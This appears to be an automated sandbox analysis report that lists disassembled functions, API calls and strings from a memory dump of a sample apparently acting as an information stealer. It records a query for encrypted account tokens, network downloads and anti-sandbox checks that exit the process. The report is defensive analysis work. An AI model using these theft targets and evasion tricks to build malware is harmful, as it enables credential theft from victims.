Memory Dump Source

Source File: 00000003.00000002.1849158953.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1849158953.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Heap__aulldiv$AllocGlobalMemoryProcessStatuswsprintf
String ID: %d MB$@
API String ID: 2886426298-3474575989
Opcode ID: 7e71b2cf3ab39a96845f2c5ec6281b05558ac3270fef8c112806fab1e15290c3
Instruction ID: 96825d9750bf8db03c9b3ba7d6dfdbb869a7567600a83181e99cf30d3b71d0f4
Opcode Fuzzy Hash: 7e71b2cf3ab39a96845f2c5ec6281b05558ac3270fef8c112806fab1e15290c3
Instruction Fuzzy Hash: CD210BB1E44218BBDB00DFD5CC49FAEB7B9FB45B14F104609F605BB280D77869018BA9

Function 0040BA80 Relevance: 12.3, APIs: 4, Strings: 4, Instructions: 284stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Part of subcall function 00409E10: memcmp.MSVCRT(?,v20,00000003), ref: 00409E2D

lstrlenA.KERNEL32(00000000), ref: 0040BC9F

Part of subcall function 00418E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00418E52

StrStrA.SHLWAPI(00000000,AccountId), ref: 0040BCCD
lstrlenA.KERNEL32(00000000), ref: 0040BDA5
lstrlenA.KERNEL32(00000000), ref: 0040BDB9

Strings

AccountId, xrefs: 0040BCC4
AccountTokens, xrefs: 0040BABA
SELECT service, encrypted_token FROM token_service, xrefs: 0040BBEB
AccountTokens, xrefs: 0040BB49

Memory Dump Source

Source File: 00000003.00000002.1849158953.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1849158953.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat$AllocLocalmemcmp
String ID: AccountId$AccountTokens$AccountTokens$SELECT service, encrypted_token FROM token_service
API String ID: 1440504306-1079375795
Opcode ID: aa59afd4286b4fbca944ed137d6685f3849f1989eb57c629a34f8132c821df51
Instruction ID: 1db97c5984eaf975dbf010622291b68d8c4d82df198c84c91f10bdfb5a5a1c79
Opcode Fuzzy Hash: aa59afd4286b4fbca944ed137d6685f3849f1989eb57c629a34f8132c821df51
Instruction Fuzzy Hash: 8CB19671911108ABDB04FBA1DD52EEE7339AF14314F40452EF506B2091EF386E99CBBA

Function 00404FB0 Relevance: 12.1, APIs: 8, Instructions: 82networkmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 00404FCA
RtlAllocateHeap.NTDLL(00000000), ref: 00404FD1
InternetOpenA.WININET(00420DDF,00000000,00000000,00000000,00000000), ref: 00404FEA
InternetOpenUrlA.WININET(?,00000000,00000000,00000000,04000100,00000000), ref: 00405011
InternetReadFile.WININET(00415EDB,?,00000400,00000000), ref: 00405041
memcpy.MSVCRT(00000000,?,00000001), ref: 0040508A
InternetCloseHandle.WININET(00415EDB), ref: 004050B9
InternetCloseHandle.WININET(?), ref: 004050C6

Memory Dump Source

Source File: 00000003.00000002.1849158953.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1849158953.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHeapOpen$AllocateFileProcessReadmemcpy
String ID:
API String ID: 1008454911-0
Opcode ID: 6cf967ef785bb23c697623f5c6a033393d0fc44cd8035483208646c558320f55
Instruction ID: cb0899809939a0b3ab7ef321ba077ef70f04c27eec1e373fde9f1e9505320bf0
Opcode Fuzzy Hash: 6cf967ef785bb23c697623f5c6a033393d0fc44cd8035483208646c558320f55
Instruction Fuzzy Hash: 2A3108B8A40218ABDB20CF94DC85BDDB7B5EB48704F1081E9F709B7281C7746AC58F99

Function 004169F0 Relevance: 10.6, APIs: 7, Instructions: 89sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 00419860: GetProcAddress.KERNEL32(74DD0000,014EF180), ref: 004198A1
Part of subcall function 00419860: GetProcAddress.KERNEL32(74DD0000,014EF3F0), ref: 004198BA
Part of subcall function 00419860: GetProcAddress.KERNEL32(74DD0000,014EF390), ref: 004198D2
Part of subcall function 00419860: GetProcAddress.KERNEL32(74DD0000,014EF288), ref: 004198EA
Part of subcall function 00419860: GetProcAddress.KERNEL32(74DD0000,014EF198), ref: 00419903
Part of subcall function 00419860: GetProcAddress.KERNEL32(74DD0000,014F2F30), ref: 0041991B
Part of subcall function 00419860: GetProcAddress.KERNEL32(74DD0000,014F28A0), ref: 00419933
Part of subcall function 00419860: GetProcAddress.KERNEL32(74DD0000,014F2880), ref: 0041994C
Part of subcall function 00419860: GetProcAddress.KERNEL32(74DD0000,014EF1C8), ref: 00419964
Part of subcall function 00419860: GetProcAddress.KERNEL32(74DD0000,014EF1F8), ref: 0041997C
Part of subcall function 00419860: GetProcAddress.KERNEL32(74DD0000,014EF2A0), ref: 00419995
Part of subcall function 00419860: GetProcAddress.KERNEL32(74DD0000,014EF228), ref: 004199AD
Part of subcall function 00419860: GetProcAddress.KERNEL32(74DD0000,014F28E0), ref: 004199C5
Part of subcall function 00419860: GetProcAddress.KERNEL32(74DD0000,014EF3D8), ref: 004199DE

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 004011D0: CreateDCA.GDI32(014FAB88,00000000,00000000,00000000), ref: 004011E2
Part of subcall function 004011D0: GetDeviceCaps.GDI32(?,0000000A), ref: 004011F1
Part of subcall function 004011D0: ReleaseDC.USER32(00000000,?), ref: 00401200
Part of subcall function 004011D0: ExitProcess.KERNEL32 ref: 00401211

Part of subcall function 00401160: GetSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,00416A17,00420AEF), ref: 0040116A
Part of subcall function 00401160: ExitProcess.KERNEL32 ref: 0040117E

Part of subcall function 00401110: GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000,?,?,00416A1C), ref: 0040112B
Part of subcall function 00401110: VirtualAllocExNuma.KERNEL32(00000000,?,?,00416A1C), ref: 00401132
Part of subcall function 00401110: ExitProcess.KERNEL32 ref: 00401143

Part of subcall function 00401220: GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 0040123E
Part of subcall function 00401220: __aulldiv.LIBCMT ref: 00401258
Part of subcall function 00401220: __aulldiv.LIBCMT ref: 00401266
Part of subcall function 00401220: ExitProcess.KERNEL32 ref: 00401294

Part of subcall function 00416770: GetUserDefaultLangID.KERNEL32(?,?,00416A26,00420AEF), ref: 00416774

GetUserDefaultLCID.KERNEL32 ref: 00416A26

Part of subcall function 00401190: ExitProcess.KERNEL32 ref: 004011C6

Part of subcall function 00417850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004011B7), ref: 00417880
Part of subcall function 00417850: HeapAlloc.KERNEL32(00000000,?,?,?,004011B7), ref: 00417887
Part of subcall function 00417850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 0041789F

Part of subcall function 004178E0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00416A2B), ref: 00417910
Part of subcall function 004178E0: HeapAlloc.KERNEL32(00000000,?,?,?,00416A2B), ref: 00417917
Part of subcall function 004178E0: GetComputerNameA.KERNEL32(?,00000104), ref: 0041792F

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,014FACF8,?,0042110C,?,00000000,?,00421110,?,00000000,00420AEF), ref: 00416ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00416AE8
CloseHandle.KERNEL32(00000000), ref: 00416AF9
Sleep.KERNEL32(00001770), ref: 00416B04
CloseHandle.KERNEL32(?,00000000,?,014FACF8,?,0042110C,?,00000000,?,00421110,?,00000000,00420AEF), ref: 00416B1A
ExitProcess.KERNEL32 ref: 00416B22

Memory Dump Source

Source File: 00000003.00000002.1849158953.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1849158953.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: AddressProc$Process$Exit$Heap$AllocUserlstrcpy$CloseCreateDefaultEventHandleName__aulldiv$CapsComputerCurrentDeviceGlobalInfoLangMemoryNumaOpenReleaseSleepStatusSystemVirtuallstrcatlstrlen
String ID:
API String ID: 655105637-0
Opcode ID: d8804ea1bff6748de93bb0085dad6dc73f5e155af435cafa9a0d600a9b6efe0f
Instruction ID: 1c0ff58a553566d9d81a636820be0d4cb73d0efe44d476221655ae408a7450da
Opcode Fuzzy Hash: d8804ea1bff6748de93bb0085dad6dc73f5e155af435cafa9a0d600a9b6efe0f
Instruction Fuzzy Hash: E1317074940208AADB04FBF2DC56BEE7339AF04344F10042EF102A61D2DF7C6986C6AE

Function 004047B0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 60stringnetworkCOMMON

Download Yara Rule

APIs

??2@YAPAXI@Z.MSVCRT(00000800), ref: 004047EA
??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404801
??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404818
lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00404839
InternetCrackUrlA.WININET(00000000,00000000), ref: 00404849

Strings

<, xrefs: 004047C9

Memory Dump Source

Source File: 00000003.00000002.1849158953.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1849158953.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: ??2@$CrackInternetlstrlen
String ID: <
API String ID: 1683549937-4251816714
Opcode ID: c386c9d0d73067ea41f4377aeaa2fd448281082c22fa9440fc98d6664c6993a8
Instruction ID: 59ffd934fb977a93d501bba2862ecb1df6a0defd032b503e5e890a78b3955a81
Opcode Fuzzy Hash: c386c9d0d73067ea41f4377aeaa2fd448281082c22fa9440fc98d6664c6993a8
Instruction Fuzzy Hash: 712149B5D00219ABDF10DFA5E849BDD7B74FF04320F008229F925A7290EB706A15CF95

Function 004099C0 Relevance: 9.1, APIs: 6, Instructions: 82filememoryCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 004099EC
GetFileSizeEx.KERNEL32(000000FF,?), ref: 00409A11
LocalAlloc.KERNEL32(00000040,?), ref: 00409A31
ReadFile.KERNEL32(000000FF,?,00000000,004102E7,00000000), ref: 00409A5A
LocalFree.KERNEL32(004102E7), ref: 00409A90
CloseHandle.KERNEL32(000000FF), ref: 00409A9A

Memory Dump Source

Source File: 00000003.00000002.1849158953.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1849158953.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: File$Local$AllocCloseCreateFreeHandleReadSize
String ID:
API String ID: 2311089104-0
Opcode ID: c7567847eb904f88fd44aac24161c1541a4af156139b53349eb565b119f829a0
Instruction ID: ed52a4b53b9c0591db71eabf51b59360b39b3b260bb7ca760b64e801f0f9a50e
Opcode Fuzzy Hash: c7567847eb904f88fd44aac24161c1541a4af156139b53349eb565b119f829a0
Instruction Fuzzy Hash: 02310778A00209EFDB14CF94C985BAEB7B5FF49350F108169E901A7390D778AD41CFA5

Function 00417690 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 43memoryregistryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 004176A4
HeapAlloc.KERNEL32(00000000), ref: 004176AB
RegOpenKeyExA.KERNEL32(80000002,014FB588,00000000,00020119,00000000), ref: 004176DD
RegQueryValueExA.KERNEL32(00000000,01501988,00000000,00000000,?,000000FF), ref: 004176FE

Strings

Windows 11, xrefs: 004176BD

Memory Dump Source

Source File: 00000003.00000002.1849158953.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1849158953.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Heap$AllocOpenProcessQueryValue
String ID: Windows 11
API String ID: 3676486918-2517555085
Opcode ID: 31b5ee67880bd1f967030e6ea3d78f3b54130d435c20b4c8c69cbeacade70eac
Instruction ID: 0438ef7ee9a5fbee92b010be2e89678c99e6505f2a73f727aa840deaa157456b
Opcode Fuzzy Hash: 31b5ee67880bd1f967030e6ea3d78f3b54130d435c20b4c8c69cbeacade70eac
Instruction Fuzzy Hash: E0018FBDA80204BFE700DBE0DD49FAEB7BDEB09700F004055FA05D7290E674A9408B55

Function 00417720 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 42memoryregistryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00417734
HeapAlloc.KERNEL32(00000000), ref: 0041773B
RegOpenKeyExA.KERNEL32(80000002,014FB588,00000000,00020119,004176B9), ref: 0041775B
RegQueryValueExA.KERNEL32(004176B9,CurrentBuildNumber,00000000,00000000,?,000000FF), ref: 0041777A

Strings

CurrentBuildNumber, xrefs: 00417771

Memory Dump Source

Source File: 00000003.00000002.1849158953.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1849158953.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Heap$AllocOpenProcessQueryValue
String ID: CurrentBuildNumber
API String ID: 3676486918-1022791448
Opcode ID: 43a46ff31c4728249bb55ffe5b6c0263db84e810ad24588de6037cbf7116cf65
Instruction ID: 98fe8272c38af2577472084bebc30d651685970d5c5bfe2bd2220dad028592af
Opcode Fuzzy Hash: 43a46ff31c4728249bb55ffe5b6c0263db84e810ad24588de6037cbf7116cf65
Instruction Fuzzy Hash: 0F0144BDA80308BFE710DFE0DC49FAEB7B9EB44704F104159FA05A7281DA7455408F51

Function 00401220 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 0040123E
__aulldiv.LIBCMT ref: 00401258
__aulldiv.LIBCMT ref: 00401266
ExitProcess.KERNEL32 ref: 00401294

Strings

@, xrefs: 00401233

Memory Dump Source

Source File: 00000003.00000002.1849158953.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1849158953.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
